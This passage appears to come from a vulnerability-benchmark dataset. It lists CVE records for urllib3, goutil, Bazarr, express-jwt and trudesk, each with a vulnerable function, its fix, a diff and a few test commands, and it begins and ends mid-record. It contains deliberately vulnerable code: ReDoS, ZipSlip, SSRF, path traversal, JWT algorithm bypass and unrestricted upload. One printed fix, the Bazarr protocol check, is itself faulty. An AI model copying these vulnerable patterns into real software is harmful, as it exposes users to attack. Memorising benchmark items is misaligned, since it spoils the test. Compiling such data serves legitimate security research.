/workspace/fix-run.sh\nset -e\n\ncd /workspace/node-dns-sync\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\nnpx mocha --grep \"poc\"\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2017-16100:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/node-dns-sync\ngit apply --whitespace=nowarn /workspace/fix.patch\nnpx mocha --timeout 50000 test/"}
{"cve_id": "CVE-2021-33503", "cve_description": "An issue was discovered in urllib3 before 1.26.5. When provided with a URL containing many @ characters in the authority component, the authority regular expression exhibits catastrophic backtracking, causing a denial of service if a URL were passed as a parameter or redirected to via an HTTP redirect.", "cwe_info": {"CWE-400": {"name": "Uncontrolled Resource Consumption", "description": "The product does not properly control the allocation and maintenance of a limited resource."}}, "repo": "https://github.com/urllib3/urllib3", "patch_url": ["https://github.com/urllib3/urllib3/commit/2d4a3fee6de2fa45eb82169361918f759269b4ec"], "programing_language": "Python", "vul_func": [{"id": "vul_py_425_1", "commit": "2698537", "file_path": "src/urllib3/util/url.py", "start_line": 330, "end_line": 422, "snippet": "def parse_url(url):\n    \"\"\"\n    Given a url, return a parsed :class:`.Url` namedtuple. Best-effort is\n    performed to parse incomplete urls. Fields not provided will be None.\n    This parser is RFC 3986 compliant.\n\n    The parser logic and helper functions are based heavily on\n    work done in the ``rfc3986`` module.\n\n    :param str url: URL to parse into a :class:`.Url` namedtuple.\n\n    Partly backwards-compatible with :mod:`urlparse`.\n\n    Example::\n\n        >>> parse_url('http://google.com/mail/')\n        Url(scheme='http', host='google.com', port=None, path='/mail/', ...)\n        >>> parse_url('google.com:80')\n        Url(scheme=None, host='google.com', port=80, path=None, ...)\n        >>> parse_url('/foo?bar')\n        Url(scheme=None, host=None, port=None, path='/foo', query='bar', ...)\n    \"\"\"\n    if not url:\n        # Empty\n        return Url()\n\n    source_url = url\n    if not SCHEME_RE.search(url):\n        url = \"//\" + url\n\n    try:\n        scheme, authority, path, query, fragment = URI_RE.match(url).groups()\n        normalize_uri = scheme is None or scheme.lower() in NORMALIZABLE_SCHEMES\n\n        if scheme:\n            scheme = scheme.lower()\n\n        if authority:\n            auth, host, port = SUBAUTHORITY_RE.match(authority).groups()\n            if auth and normalize_uri:\n                auth = _encode_invalid_chars(auth, USERINFO_CHARS)\n            if port == \"\":\n                port = None\n        else:\n            auth, host, port = None, None, None\n\n        if port is not None:\n            port = int(port)\n            if not (0 <= port <= 65535):\n                raise LocationParseError(url)\n\n        host = _normalize_host(host, scheme)\n\n        if normalize_uri and path:\n            path = _remove_path_dot_segments(path)\n            path = _encode_invalid_chars(path, PATH_CHARS)\n        if normalize_uri and query:\n            query = _encode_invalid_chars(query, QUERY_CHARS)\n        if normalize_uri and fragment:\n            fragment = _encode_invalid_chars(fragment, FRAGMENT_CHARS)\n\n    except (ValueError, AttributeError):\n        return six.raise_from(LocationParseError(source_url), None)\n\n    # For the sake of backwards compatibility we put empty\n    # string values for path if there are any defined values\n    # beyond the path in the URL.\n    # TODO: Remove this when we break backwards compatibility.\n    if not path:\n        if query is not None or fragment is not None:\n            path = \"\"\n        else:\n            path = None\n\n    # Ensure that each part of the URL is a `str` for\n    # backwards compatibility.\n    if isinstance(url, six.text_type):\n        ensure_func = six.ensure_text\n    else:\n        ensure_func = six.ensure_str\n\n    def ensure_type(x):\n        return x if x is None else ensure_func(x)\n\n    return Url(\n        scheme=ensure_type(scheme),\n        auth=ensure_type(auth),\n        host=ensure_type(host),\n        port=port,\n        path=ensure_type(path),\n        query=ensure_type(query),\n        fragment=ensure_type(fragment),\n    )"}], "fix_func": [{"id": "fix_py_425_1", "commit": "2d4a3fee6de2fa45eb82169361918f759269b4ec", "file_path": "src/urllib3/util/url.py", "start_line": 330, "end_line": 424, "snippet": "def parse_url(url):\n    \"\"\"\n    Given a url, return a parsed :class:`.Url` namedtuple. Best-effort is\n    performed to parse incomplete urls. Fields not provided will be None.\n    This parser is RFC 3986 compliant.\n\n    The parser logic and helper functions are based heavily on\n    work done in the ``rfc3986`` module.\n\n    :param str url: URL to parse into a :class:`.Url` namedtuple.\n\n    Partly backwards-compatible with :mod:`urlparse`.\n\n    Example::\n\n        >>> parse_url('http://google.com/mail/')\n        Url(scheme='http', host='google.com', port=None, path='/mail/', ...)\n        >>> parse_url('google.com:80')\n        Url(scheme=None, host='google.com', port=80, path=None, ...)\n        >>> parse_url('/foo?bar')\n        Url(scheme=None, host=None, port=None, path='/foo', query='bar', ...)\n    \"\"\"\n    if not url:\n        # Empty\n        return Url()\n\n    source_url = url\n    if not SCHEME_RE.search(url):\n        url = \"//\" + url\n\n    try:\n        scheme, authority, path, query, fragment = URI_RE.match(url).groups()\n        normalize_uri = scheme is None or scheme.lower() in NORMALIZABLE_SCHEMES\n\n        if scheme:\n            scheme = scheme.lower()\n\n        if authority:\n            auth, _, host_port = authority.rpartition(\"@\")\n            auth = auth or None\n            host, port = _HOST_PORT_RE.match(host_port).groups()\n            if auth and normalize_uri:\n                auth = _encode_invalid_chars(auth, USERINFO_CHARS)\n            if port == \"\":\n                port = None\n        else:\n            auth, host, port = None, None, None\n\n        if port is not None:\n            port = int(port)\n            if not (0 <= port <= 65535):\n                raise LocationParseError(url)\n\n        host = _normalize_host(host, scheme)\n\n        if normalize_uri and path:\n            path = _remove_path_dot_segments(path)\n            path = _encode_invalid_chars(path, PATH_CHARS)\n        if normalize_uri and query:\n            query = _encode_invalid_chars(query, QUERY_CHARS)\n        if normalize_uri and fragment:\n            fragment = _encode_invalid_chars(fragment, FRAGMENT_CHARS)\n\n    except (ValueError, AttributeError):\n        return six.raise_from(LocationParseError(source_url), None)\n\n    # For the sake of backwards compatibility we put empty\n    # string values for path if there are any defined values\n    # beyond the path in the URL.\n    # TODO: Remove this when we break backwards compatibility.\n    if not path:\n        if query is not None or fragment is not None:\n            path = \"\"\n        else:\n            path = None\n\n    # Ensure that each part of the URL is a `str` for\n    # backwards compatibility.\n    if isinstance(url, six.text_type):\n        ensure_func = six.ensure_text\n    else:\n        ensure_func = six.ensure_str\n\n    def ensure_type(x):\n        return x if x is None else ensure_func(x)\n\n    return Url(\n        scheme=ensure_type(scheme),\n        auth=ensure_type(auth),\n        host=ensure_type(host),\n        port=port,\n        path=ensure_type(path),\n        query=ensure_type(query),\n        fragment=ensure_type(fragment),\n    )"}], "vul_patch": "--- a/src/urllib3/util/url.py\n+++ b/src/urllib3/util/url.py\n@@ -36,7 +36,9 @@\n             scheme = scheme.lower()\n \n         if authority:\n-            auth, host, port = SUBAUTHORITY_RE.match(authority).groups()\n+            auth, _, host_port = authority.rpartition(\"@\")\n+            auth = auth or None\n+            host, port = _HOST_PORT_RE.match(host_port).groups()\n             if auth and normalize_uri:\n                 auth = _encode_invalid_chars(auth, USERINFO_CHARS)\n             if port == \"\":\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-27475", "cve_description": "Goutil is a collection of miscellaneous functionality for the go language. In versions prior to 0.6.0 when users use fsutil.Unzip to unzip zip files from a malicious attacker, they may be vulnerable to path traversal. This vulnerability is known as a ZipSlip. This issue has been fixed in version 0.6.0, users are advised to upgrade. There are no known workarounds for this issue.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/gookit/goutil", "patch_url": ["https://github.com/gookit/goutil/commit/d7b94fede71f018f129f7d21feb58c895d28dadc"], "programing_language": "Go", "vul_func": [{"id": "vul_go_166_1", "commit": "965e4f0", "file_path": "fsutil/operate.go", "start_line": 309, "end_line": 352, "snippet": "func Unzip(archive, targetDir string) (err error) {\n\treader, err := zip.OpenReader(archive)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif err = os.MkdirAll(targetDir, DefaultDirPerm); err != nil {\n\t\treturn\n\t}\n\n\tfor _, file := range reader.File {\n\t\tfullPath := filepath.Join(targetDir, file.Name)\n\t\tif file.FileInfo().IsDir() {\n\t\t\terr = os.MkdirAll(fullPath, file.Mode())\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tcontinue\n\t\t}\n\n\t\tfileReader, err := file.Open()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\ttargetFile, err := os.OpenFile(fullPath, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, file.Mode())\n\t\tif err != nil {\n\t\t\t_ = fileReader.Close()\n\t\t\treturn err\n\t\t}\n\n\t\t_, err = io.Copy(targetFile, fileReader)\n\n\t\t// close all\n\t\t_ = fileReader.Close()\n\t\ttargetFile.Close()\n\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn\n}"}], "fix_func": [{"id": "fix_go_166_1", "commit": "d7b94fe", "file_path": "fsutil/operate.go", "start_line": 311, "end_line": 360, "snippet": "func Unzip(archive, targetDir string) (err error) {\n\treader, err := zip.OpenReader(archive)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif err = os.MkdirAll(targetDir, DefaultDirPerm); err != nil {\n\t\treturn\n\t}\n\n\tfor _, file := range reader.File {\n\n\t\tif strings.Contains(file.Name, \"..\") {\n\t\t\treturn fmt.Errorf(\"illegal file path in zip: %v\", file.Name)\n\t\t}\n\n\t\tfullPath := filepath.Join(targetDir, file.Name)\n\n\t\tif file.FileInfo().IsDir() {\n\t\t\terr = os.MkdirAll(fullPath, file.Mode())\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tcontinue\n\t\t}\n\n\t\tfileReader, err := file.Open()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\ttargetFile, err := os.OpenFile(fullPath, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, file.Mode())\n\t\tif err != nil {\n\t\t\t_ = fileReader.Close()\n\t\t\treturn err\n\t\t}\n\n\t\t_, err = io.Copy(targetFile, fileReader)\n\n\t\t// close all\n\t\t_ = fileReader.Close()\n\t\ttargetFile.Close()\n\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn\n}"}], "vul_patch": "--- a/fsutil/operate.go\n+++ b/fsutil/operate.go\n@@ -9,7 +9,13 @@\n \t}\n \n \tfor _, file := range reader.File {\n+\n+\t\tif strings.Contains(file.Name, \"..\") {\n+\t\t\treturn fmt.Errorf(\"illegal file path in zip: %v\", file.Name)\n+\t\t}\n+\n \t\tfullPath := filepath.Join(targetDir, file.Name)\n+\n \t\tif file.FileInfo().IsDir() {\n \t\t\terr = os.MkdirAll(fullPath, file.Mode())\n \t\t\tif err != nil {\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-50266", "cve_description": "Bazarr manages and downloads subtitles. In version 1.2.4, the proxy method in bazarr/bazarr/app/ui.py does not validate the user-controlled protocol and url variables and passes them to requests.get() without any sanitization, which leads to a blind server-side request forgery (SSRF). This issue allows for crafting GET requests to internal and external resources on behalf of the server. 1.3.1 contains a partial fix, which limits the vulnerability to HTTP/HTTPS protocols.", "cwe_info": {"CWE-918": {"name": "Server-Side Request Forgery (SSRF)", "description": "The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination."}}, "repo": "https://github.com/morpheus65535/bazarr", "patch_url": ["https://github.com/morpheus65535/bazarr/commit/17add7fbb3ae1919a40d505470d499d46df9ae6b"], "programing_language": "Python", "vul_func": [{"id": "vul_py_185_1", "commit": "aa0af3f", "file_path": "bazarr/app/ui.py", "start_line": 145, "end_line": 146, "snippet": "def backup_download(filename):\n    return send_file(os.path.join(settings.backup.folder, filename), max_age=0, as_attachment=True)"}, {"id": "vul_py_185_2", "commit": "aa0af3f", "file_path": "bazarr/app/ui.py", "start_line": 150, "end_line": 152, "snippet": "def swaggerui_static(filename):\n    return send_file(os.path.join(os.path.dirname(os.path.dirname(os.path.dirname(__file__))), 'libs', 'flask_restx',\n                     'static', filename))"}, {"id": "vul_py_185_3", "commit": "aa0af3f", "file_path": "bazarr/app/ui.py", "start_line": 162, "end_line": 183, "snippet": "def proxy(protocol, url):\n    url = protocol + '://' + unquote(url)\n    params = request.args\n    try:\n        result = requests.get(url, params, allow_redirects=False, verify=False, timeout=5, headers=headers)\n    except Exception as e:\n        return dict(status=False, error=repr(e))\n    else:\n        if result.status_code == 200:\n            try:\n                version = result.json()['version']\n                return dict(status=True, version=version)\n            except Exception:\n                return dict(status=False, error='Error Occurred. Check your settings.')\n        elif result.status_code == 401:\n            return dict(status=False, error='Access Denied. Check API key.')\n        elif result.status_code == 404:\n            return dict(status=False, error='Cannot get version. Maybe unsupported legacy API call?')\n        elif 300 <= result.status_code <= 399:\n            return dict(status=False, error='Wrong URL Base.')\n        else:\n            return dict(status=False, error=result.raise_for_status())"}], "fix_func": [{"id": "fix_py_185_1", "commit": "17add7f", "file_path": "bazarr/app/ui.py", "start_line": 145, "end_line": 150, "snippet": "def backup_download(filename):\n    fullpath = os.path.normpath(os.path.join(settings.backup.folder, filename))\n    if not fullpath.startswith(settings.backup.folder):\n        return '', 404\n    else:\n        return send_file(fullpath, max_age=0, as_attachment=True)"}, {"id": "fix_py_185_2", "commit": "17add7f", "file_path": "bazarr/app/ui.py", "start_line": 154, "end_line": 161, "snippet": "def swaggerui_static(filename):\n    basepath = os.path.join(os.path.dirname(os.path.dirname(os.path.dirname(__file__))), 'libs', 'flask_restx',\n                            'static')\n    fullpath = os.path.join(basepath, filename)\n    if not fullpath.startswith(basepath):\n        return '', 404\n    else:\n        return send_file(fullpath)"}, {"id": "fix_py_185_3", "commit": "17add7f", "file_path": "bazarr/app/ui.py", "start_line": 171, "end_line": 194, "snippet": "def proxy(protocol, url):\n    if protocol.lower not in ['http', 'https']:\n        return dict(status=False, error='Unsupported protocol')\n    url = protocol + '://' + unquote(url)\n    params = request.args\n    try:\n        result = requests.get(url, params, allow_redirects=False, verify=False, timeout=5, headers=headers)\n    except Exception as e:\n        return dict(status=False, error=repr(e))\n    else:\n        if result.status_code == 200:\n            try:\n                version = result.json()['version']\n                return dict(status=True, version=version)\n            except Exception:\n                return dict(status=False, error='Error Occurred. Check your settings.')\n        elif result.status_code == 401:\n            return dict(status=False, error='Access Denied. Check API key.')\n        elif result.status_code == 404:\n            return dict(status=False, error='Cannot get version. Maybe unsupported legacy API call?')\n        elif 300 <= result.status_code <= 399:\n            return dict(status=False, error='Wrong URL Base.')\n        else:\n            return dict(status=False, error=result.raise_for_status())"}], "vul_patch": "--- a/bazarr/app/ui.py\n+++ b/bazarr/app/ui.py\n@@ -1,2 +1,6 @@\n def backup_download(filename):\n-    return send_file(os.path.join(settings.backup.folder, filename), max_age=0, as_attachment=True)\n+    fullpath = os.path.normpath(os.path.join(settings.backup.folder, filename))\n+    if not fullpath.startswith(settings.backup.folder):\n+        return '', 404\n+    else:\n+        return send_file(fullpath, max_age=0, as_attachment=True)\n\n--- a/bazarr/app/ui.py\n+++ b/bazarr/app/ui.py\n@@ -1,3 +1,8 @@\n def swaggerui_static(filename):\n-    return send_file(os.path.join(os.path.dirname(os.path.dirname(os.path.dirname(__file__))), 'libs', 'flask_restx',\n-                     'static', filename))\n+    basepath = os.path.join(os.path.dirname(os.path.dirname(os.path.dirname(__file__))), 'libs', 'flask_restx',\n+                            'static')\n+    fullpath = os.path.join(basepath, filename)\n+    if not fullpath.startswith(basepath):\n+        return '', 404\n+    else:\n+        return send_file(fullpath)\n\n--- a/bazarr/app/ui.py\n+++ b/bazarr/app/ui.py\n@@ -1,4 +1,6 @@\n def proxy(protocol, url):\n+    if protocol.lower not in ['http', 'https']:\n+        return dict(status=False, error='Unsupported protocol')\n     url = protocol + '://' + unquote(url)\n     params = request.args\n     try:\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2020-15084", "cve_description": "In express-jwt (NPM package) up and including version 5.3.3, the algorithms entry to be specified in the configuration is not being enforced. When algorithms is not specified in the configuration, with the combination of jwks-rsa, it may lead to authorization bypass. You are affected by this vulnerability if all of the following conditions apply: - You are using express-jwt - You do not have **algorithms** configured in your express-jwt configuration. - You are using libraries such as jwks-rsa as the **secret**. You can fix this by specifying **algorithms** in the express-jwt configuration. See linked GHSA for example. This is also fixed in version 6.0.0.", "cwe_info": {"CWE-285": {"name": "Improper Authorization", "description": "The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action."}, "CWE-863": {"name": "Incorrect Authorization", "description": "The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check."}, "CWE-250": {"name": "Execution with Unnecessary Privileges", "description": "The product performs an operation at a privilege level that is higher than the minimum level required, which creates new weaknesses or amplifies the consequences of other weaknesses."}, "CWE-269": {"name": "Improper Privilege Management", "description": "The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor."}}, "repo": "https://github.com/auth0/express-jwt", "patch_url": ["https://github.com/auth0/express-jwt/commit/7ecab5f8f0cab5297c2b863596566eb0c019cdef"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_29_1", "commit": "e9ed6d2", "file_path": "lib/index.js", "start_line": 19, "end_line": 136, "snippet": "module.exports = function(options) {\n  if (!options || !options.secret) throw new Error('secret should be set');\n\n  var secretCallback = options.secret;\n\n  if (!isFunction(secretCallback)){\n    secretCallback = wrapStaticSecretInCallback(secretCallback);\n  }\n\n  var isRevokedCallback = options.isRevoked || DEFAULT_REVOKED_FUNCTION;\n\n  var _requestProperty = options.userProperty || options.requestProperty || 'user';\n  var _resultProperty = options.resultProperty;\n  var credentialsRequired = typeof options.credentialsRequired === 'undefined' ? true : options.credentialsRequired;\n\n  var middleware = function(req, res, next) {\n    var token;\n\n    if (req.method === 'OPTIONS' && req.headers.hasOwnProperty('access-control-request-headers')) {\n      var hasAuthInAccessControl = !!~req.headers['access-control-request-headers']\n                                    .split(',').map(function (header) {\n                                      return header.trim();\n                                    }).indexOf('authorization');\n\n      if (hasAuthInAccessControl) {\n        return next();\n      }\n    }\n\n    if (options.getToken && typeof options.getToken === 'function') {\n      try {\n        token = options.getToken(req);\n      } catch (e) {\n        return next(e);\n      }\n    } else if (req.headers && req.headers.authorization) {\n      var parts = req.headers.authorization.split(' ');\n      if (parts.length == 2) {\n        var scheme = parts[0];\n        var credentials = parts[1];\n\n        if (/^Bearer$/i.test(scheme)) {\n          token = credentials;\n        } else {\n          if (credentialsRequired) {\n            return next(new UnauthorizedError('credentials_bad_scheme', { message: 'Format is Authorization: Bearer [token]' }));\n          } else {\n            return next();\n          }\n        }\n      } else {\n        return next(new UnauthorizedError('credentials_bad_format', { message: 'Format is Authorization: Bearer [token]' }));\n      }\n    }\n\n    if (!token) {\n      if (credentialsRequired) {\n        return next(new UnauthorizedError('credentials_required', { message: 'No authorization token was found' }));\n      } else {\n        return next();\n      }\n    }\n\n    var dtoken;\n\n    try {\n      dtoken = jwt.decode(token, { complete: true }) || {};\n    } catch (err) {\n      return next(new UnauthorizedError('invalid_token', err));\n    }\n\n    async.waterfall([\n      function getSecret(callback){\n        var arity = secretCallback.length;\n        if (arity == 4) {\n          secretCallback(req, dtoken.header, dtoken.payload, callback);\n        } else { // arity == 3\n          secretCallback(req, dtoken.payload, callback);\n        }\n      },\n      function verifyToken(secret, callback) {\n        jwt.verify(token, secret, options, function(err, decoded) {\n          if (err) {\n            callback(new UnauthorizedError('invalid_token', err));\n          } else {\n            callback(null, decoded);\n          }\n        });\n      },\n      function checkRevoked(decoded, callback) {\n        isRevokedCallback(req, dtoken.payload, function (err, revoked) {\n          if (err) {\n            callback(err);\n          }\n          else if (revoked) {\n            callback(new UnauthorizedError('revoked_token', {message: 'The token has been revoked.'}));\n          } else {\n            callback(null, decoded);\n          }\n        });\n      }\n\n    ], function (err, result){\n      if (err) { return next(err); }\n      if (_resultProperty) {\n        set(res, _resultProperty, result);\n      } else {\n        set(req, _requestProperty, result);\n      }\n      next();\n    });\n  };\n\n  middleware.unless = unless;\n  middleware.UnauthorizedError = UnauthorizedError;\n\n  return middleware;\n};"}], "fix_func": [{"id": "fix_js_29_1", "commit": "7ecab5f", "file_path": "lib/index.js", "start_line": 19, "end_line": 139, "snippet": "module.exports = function(options) {\n  if (!options || !options.secret) throw new Error('secret should be set');\n\n  if (!options.algorithms) throw new Error('algorithms should be set');\n  if (!Array.isArray(options.algorithms)) throw new Error('algorithms must be an array');\n\n  var secretCallback = options.secret;\n\n  if (!isFunction(secretCallback)){\n    secretCallback = wrapStaticSecretInCallback(secretCallback);\n  }\n\n  var isRevokedCallback = options.isRevoked || DEFAULT_REVOKED_FUNCTION;\n\n  var _requestProperty = options.userProperty || options.requestProperty || 'user';\n  var _resultProperty = options.resultProperty;\n  var credentialsRequired = typeof options.credentialsRequired === 'undefined' ? true : options.credentialsRequired;\n\n  var middleware = function(req, res, next) {\n    var token;\n\n    if (req.method === 'OPTIONS' && req.headers.hasOwnProperty('access-control-request-headers')) {\n      var hasAuthInAccessControl = !!~req.headers['access-control-request-headers']\n                                    .split(',').map(function (header) {\n                                      return header.trim();\n                                    }).indexOf('authorization');\n\n      if (hasAuthInAccessControl) {\n        return next();\n      }\n    }\n\n    if (options.getToken && typeof options.getToken === 'function') {\n      try {\n        token = options.getToken(req);\n      } catch (e) {\n        return next(e);\n      }\n    } else if (req.headers && req.headers.authorization) {\n      var parts = req.headers.authorization.split(' ');\n      if (parts.length == 2) {\n        var scheme = parts[0];\n        var credentials = parts[1];\n\n        if (/^Bearer$/i.test(scheme)) {\n          token = credentials;\n        } else {\n          if (credentialsRequired) {\n            return next(new UnauthorizedError('credentials_bad_scheme', { message: 'Format is Authorization: Bearer [token]' }));\n          } else {\n            return next();\n          }\n        }\n      } else {\n        return next(new UnauthorizedError('credentials_bad_format', { message: 'Format is Authorization: Bearer [token]' }));\n      }\n    }\n\n    if (!token) {\n      if (credentialsRequired) {\n        return next(new UnauthorizedError('credentials_required', { message: 'No authorization token was found' }));\n      } else {\n        return next();\n      }\n    }\n\n    var dtoken;\n\n    try {\n      dtoken = jwt.decode(token, { complete: true }) || {};\n    } catch (err) {\n      return next(new UnauthorizedError('invalid_token', err));\n    }\n\n    async.waterfall([\n      function getSecret(callback){\n        var arity = secretCallback.length;\n        if (arity == 4) {\n          secretCallback(req, dtoken.header, dtoken.payload, callback);\n        } else { // arity == 3\n          secretCallback(req, dtoken.payload, callback);\n        }\n      },\n      function verifyToken(secret, callback) {\n        jwt.verify(token, secret, options, function(err, decoded) {\n          if (err) {\n            callback(new UnauthorizedError('invalid_token', err));\n          } else {\n            callback(null, decoded);\n          }\n        });\n      },\n      function checkRevoked(decoded, callback) {\n        isRevokedCallback(req, dtoken.payload, function (err, revoked) {\n          if (err) {\n            callback(err);\n          }\n          else if (revoked) {\n            callback(new UnauthorizedError('revoked_token', {message: 'The token has been revoked.'}));\n          } else {\n            callback(null, decoded);\n          }\n        });\n      }\n\n    ], function (err, result){\n      if (err) { return next(err); }\n      if (_resultProperty) {\n        set(res, _resultProperty, result);\n      } else {\n        set(req, _requestProperty, result);\n      }\n      next();\n    });\n  };\n\n  middleware.unless = unless;\n  middleware.UnauthorizedError = UnauthorizedError;\n\n  return middleware;\n};"}], "vul_patch": "--- a/lib/index.js\n+++ b/lib/index.js\n@@ -1,5 +1,8 @@\n module.exports = function(options) {\n   if (!options || !options.secret) throw new Error('secret should be set');\n+\n+  if (!options.algorithms) throw new Error('algorithms should be set');\n+  if (!Array.isArray(options.algorithms)) throw new Error('algorithms must be an array');\n \n   var secretCallback = options.secret;\n \n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2020-15084:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/express-jwt\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\nnpx mocha --grep \"should throw if algorithms is not sent\"\n", "unit_test_cmd": null}
{"cve_id": "CVE-2022-1752", "cve_description": "Unrestricted Upload of File with Dangerous Type in GitHub repository polonel/trudesk prior to 1.2.2.", "cwe_info": {"CWE-434": {"name": "Unrestricted Upload of File with Dangerous Type", "description": "The product allows the upload or transfer of dangerous file types that are automatically processed within its environment."}}, "repo": "https://github.com/polonel/trudesk", "patch_url": ["https://github.com/polonel/trudesk/commit/d107f12e71c0fe1e7ac0fdc7463f59c4965a42cd"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_297_1", "commit": "691d12ce2344c89b1c04fe08dcca14ff6ac67fc2", "file_path": "src/controllers/accounts.js", "start_line": 453, "end_line": 548, "snippet": "accountsController.uploadImage = function (req, res) {\n  const fs = require('fs')\n  const path = require('path')\n  const Busboy = require('busboy')\n  const busboy = Busboy({\n    headers: req.headers,\n    limits: {\n      files: 1,\n      fileSize: 1024 * 1024 * 3 // 3mb limit\n    }\n  })\n\n  const object = {}\n  let error\n\n  busboy.on('field', function (fieldname, val) {\n    if (fieldname === '_id') object._id = val\n    if (fieldname === 'username') object.username = val\n  })\n\n  busboy.on('file', function (name, file, info) {\n    const filename = info.filename\n    const mimetype = info.mimeType\n    const ext = path.extname(filename)\n    if (mimetype.indexOf('image/') === -1 || ext === '.svg') {\n      error = {\n        status: 400,\n        message: 'Invalid File Type'\n      }\n\n      return file.resume()\n    }\n\n    const savePath = path.join(__dirname, '../../public/uploads/users')\n    if (!fs.existsSync(savePath)) fs.mkdirSync(savePath)\n\n    object.filePath = path.join(savePath, 'aProfile_' + object.username + path.extname(filename))\n    object.filename = 'aProfile_' + object.username + path.extname(filename)\n    object.mimetype = mimetype\n\n    file.on('limit', function () {\n      error = {\n        status: 400,\n        message: 'File too large'\n      }\n\n      // Delete the temp file\n      // if (fs.existsSync(object.filePath)) fs.unlinkSync(object.filePath);\n\n      return file.resume()\n    })\n\n    file.pipe(fs.createWriteStream(object.filePath))\n  })\n\n  busboy.once('finish', function () {\n    if (error) {\n      winston.warn(error)\n      return res.status(error.status).send(error.message)\n    }\n\n    if (\n      _.isUndefined(object._id) ||\n      _.isUndefined(object.username) ||\n      _.isUndefined(object.filePath) ||\n      _.isUndefined(object.filename)\n    ) {\n      return res.status(400).send('Invalid Form Data')\n    }\n\n    // Everything Checks out lets make sure the file exists and then add it to the attachments array\n    if (!fs.existsSync(object.filePath)) return res.status(400).send('File Failed to Save to Disk')\n    if (path.extname(object.filename) === '.jpg' || path.extname(object.filename) === '.jpeg') {\n      require('../helpers/utils').stripExifData(object.filePath)\n    }\n\n    userSchema.getUser(object._id, function (err, user) {\n      if (err) return handleError(res, err)\n\n      user.image = object.filename\n\n      user.save(function (err) {\n        if (err) return handleError(res, err)\n\n        emitter.emit('trudesk:profileImageUpdate', {\n          userid: user._id,\n          img: user.image\n        })\n\n        return res.status(200).send('/uploads/users/' + object.filename)\n      })\n    })\n  })\n\n  req.pipe(busboy)\n}"}], "fix_func": [{"id": "fix_js_297_1", "commit": "d107f12e71c0fe1e7ac0fdc7463f59c4965a42cd", "file_path": "src/controllers/accounts.js", "start_line": 454, "end_line": 553, "snippet": "accountsController.uploadImage = function (req, res) {\n  const fs = require('fs')\n  const path = require('path')\n  const Busboy = require('busboy')\n  const busboy = Busboy({\n    headers: req.headers,\n    limits: {\n      files: 1,\n      fileSize: 1024 * 1024 * 3 // 3mb limit\n    }\n  })\n\n  const allowedExts = ['.png', '.jpg', '.jpeg', '.gif']\n\n  const object = {}\n  let error\n\n  busboy.on('field', function (fieldname, val) {\n    if (fieldname === '_id') object._id = val\n    if (fieldname === 'username') object.username = val\n  })\n\n  busboy.on('file', function (name, file, info) {\n    const filename = info.filename\n    const mimetype = info.mimeType\n    const ext = path.extname(filename)\n\n    if (!allowedExts.includes(ext)) {\n      error = {\n        status: 400,\n        message: 'Invalid File Type'\n      }\n\n      return file.resume()\n    }\n\n    const savePath = path.join(__dirname, '../../public/uploads/users')\n    if (!fs.existsSync(savePath)) fs.mkdirSync(savePath)\n\n    object.filename = 'aProfile_' + object.username + path.extname(filename)\n    object.filename = object.filename.replace('/', '').replace('..', '')\n    object.filePath = path.join(savePath, object.filename)\n    object.mimetype = mimetype\n\n    file.on('limit', function () {\n      error = {\n        status: 400,\n        message: 'File too large'\n      }\n\n      // Delete the temp file\n      // if (fs.existsSync(object.filePath)) fs.unlinkSync(object.filePath);\n\n      return file.resume()\n    })\n\n    file.pipe(fs.createWriteStream(object.filePath))\n  })\n\n  busboy.once('finish', function () {\n    if (error) {\n      winston.warn(error)\n      return res.status(error.status).send(error.message)\n    }\n\n    if (\n      _.isUndefined(object._id) ||\n      _.isUndefined(object.username) ||\n      _.isUndefined(object.filePath) ||\n      _.isUndefined(object.filename)\n    ) {\n      return res.status(400).send('Invalid Form Data')\n    }\n\n    // Everything Checks out lets make sure the file exists and then add it to the attachments array\n    if (!fs.existsSync(object.filePath)) return res.status(400).send('File Failed to Save to Disk')\n    if (path.extname(object.filename) === '.jpg' || path.extname(object.filename) === '.jpeg') {\n      require('../helpers/utils').stripExifData(object.filePath)\n    }\n\n    userSchema.getUser(object._id, function (err, user) {\n      if (err) return handleError(res, err)\n\n      user.image = object.filename\n\n      user.save(function (err) {\n        if (err) return handleError(res, err)\n\n        emitter.emit('trudesk:profileImageUpdate', {\n          userid: user._id,\n          img: user.image\n        })\n\n        return res.status(200).send('/uploads/users/' + object.filename)\n      })\n    })\n  })\n\n  req.pipe(busboy)\n}"}], "vul_patch": "--- a/src/controllers/accounts.js\n+++ b/src/controllers/accounts.js\n@@ -9,6 +9,8 @@\n   